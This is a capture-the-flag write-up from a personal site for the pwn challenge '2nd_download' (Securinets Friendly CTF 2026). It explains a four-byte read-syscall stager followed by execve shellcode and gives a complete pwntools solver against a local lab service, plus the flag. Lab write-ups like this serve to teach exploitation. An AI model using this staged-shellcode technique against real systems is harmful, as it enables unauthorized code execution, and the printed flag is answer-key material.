archlinux / r3t0x@portfolio
ALL SYSTEMS NOMINAL /
← Back to archive · Pwn

Securinets Friendly CTF 2026 / Pwn WRITEUP

2nd_download

Rockstar's relay records only the beginning of every transfer before launching it. CyberLeek knows the opening fragment was never meant to contain the entire build. It only needs to make room for what comes next.

EVENTSecurinets Friendly CTF 2026CATEGORYPwnDIFFICULTYeasyPOINTS200
staged-shellcode

Walkthrough

Solution

Only four bytes are initially copied into an RWX mapping, but the function pointer is invoked with stdin, the mapping address, and 0x1000 already in rdi, rsi, and rdx. Use the four-byte stager xor eax,eax; syscall to perform read(0, upload, 0x1000).

The second read overwrites the mapping. Put four disposable bytes first so execution resumes at offset four, followed there by normal execve shellcode that reads the flag.

Reference solver

The reference solver supplied with the writeup:

#!/usr/bin/env python3
from pwn import *

context.arch = "amd64"
context.log_level = "error"

io = remote("127.0.0.1", 9008)

stager = asm("xor eax, eax; syscall")
shellcode = asm(shellcraft.execve("/bin/sh", ["sh", "-c", "cat flag.txt"], 0))
second_stage = b"A" * 4 + shellcode

io.sendafter(b"FIRST FRAGMENT: ", stager + second_stage)
io.recvuntil(b"Securinets{")
flag = b"Securinets{" + io.recvuntil(b"}")
print(flag.decode())
io.close()

Flag

Securinets{th3_s3c0nd_d0wnl04d_c4rr13d_th3_r34l_l34k}
Published 2026-09-28 · by r3t0x← Back to archive · Pwn
0xSEARCH_INDEX

Trace a memory.

INDEX ONLINE0 addresses
↑↓ TRACEENTER OPENESC DISMISS